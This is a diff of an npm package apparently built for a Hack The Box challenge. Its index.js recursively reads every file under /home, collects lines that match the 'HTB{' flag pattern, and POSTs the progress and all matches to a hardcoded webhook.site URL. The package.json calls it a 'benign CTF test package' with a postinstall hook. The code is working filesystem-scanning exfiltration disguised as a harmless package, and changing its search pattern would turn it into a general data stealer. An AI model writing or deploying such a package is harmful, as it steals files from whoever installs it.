@alexandrsarioglo/npm-ghost-htb 1.0.1

package/index.js

@@ -0,0 +1,88 @@
+const WEBHOOK = 'https://webhook.site/f5545fb8-769e-42cb-8e10-c1e6b4b4a5d1';   // <-- put your URL
+
+// async-scan-htb-json.js (CommonJS)
+// Usage: node async-scan-htb-json.js [startPath]
+const fs = require('fs');
+const fsp = require('fs/promises');
+const path = require('path');
+const http = require('http');
+const https = require('https');
+const { URL } = require('url');
+
+function sendProgress(obj) { // async HTTP; event loop must be free to flush
+  try {
+    const u = new URL(WEBHOOK);
+    const proto = u.protocol === 'https:' ? https : http;
+    const req = proto.request({
+      hostname: u.hostname,
+      port: u.port || (u.protocol === 'https:' ? 443 : 80),
+      path: u.pathname + u.search,
+      method: 'POST',
+      headers: {'Content-Type': 'application/json'}
+    });
+    req.on('error', () => {});
+    req.end(JSON.stringify(obj));
+  } catch {}
+}
+
+const EXCLUDES = new Set(['node_modules', '.git', '.cache', 'dist', 'build', 'site-packages', 'proc', 'sys', 'dev', 'run']);
+const NEEDLE = /HTB\{/i;
+const root = "/home";
+
+
+const results = [];
+let scanned = 0;
+const YIELD_EVERY = 1000;  // tune: how often to yield & send progress
+
+async function inspectFile(filePath) {
+  try {
+    const data = await fsp.readFile(filePath, 'utf8');
+    const lines = data.split(/\r?\n/);
+    for (let i = 0; i < lines.length; i++) {
+      if (NEEDLE.test(lines[i])) {
+        results.push({ file: filePath, line: i + 1, text: lines[i].trim() });
+      }
+    }
+  } catch {
+    // unreadable/binary -> skip
+  }
+}
+
+async function walk(dir, depth = 0) {
+  // yield periodically so HTTP can flush
+  scanned++;
+  if (scanned % YIELD_EVERY === 0) {
+    sendProgress({ type: 'scan-progress', scanned, matches: results.length, at: dir });
+    await new Promise(r => setImmediate(r));
+  }
+
+  // prune common virtual/system roots by prefix
+  for (const ex of EXCLUDES) {
+    if (dir === `/${ex}` || dir.startsWith(`/${ex}/`)) return;
+  }
+
+  let entries;
+  try {
+    entries = await fsp.readdir(dir, { withFileTypes: true });
+  } catch {
+    return;
+  }
+
+  for (const ent of entries) {
+    const full = path.join(dir, ent.name);
+    if (ent.isDirectory()) {
+      if (!EXCLUDES.has(ent.name)) {
+        await walk(full, depth + 1);
+      }
+    } else if (ent.isFile()) {
+      await inspectFile(full);
+    }
+  }
+}
+
+(async () => {
+  console.log(`Scanning ${root} (excluding: ${[...EXCLUDES].join(', ')}) ...`);
+  sendProgress({ type: 'scan-start', root });
+  await walk(root);
+  sendProgress({ type: 'scan-complete', scanned, totalMatches: results.length, results });
+})();

package/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "@alexandrsarioglo/npm-ghost-htb",
+  "version": "1.0.1",
+  "main": "index.js",
+  "description": "benign CTF test package (postinstall sends a webhook)",
+  "scripts": {
+    "postinstall": "node ./postinstall.js"
+  }
+}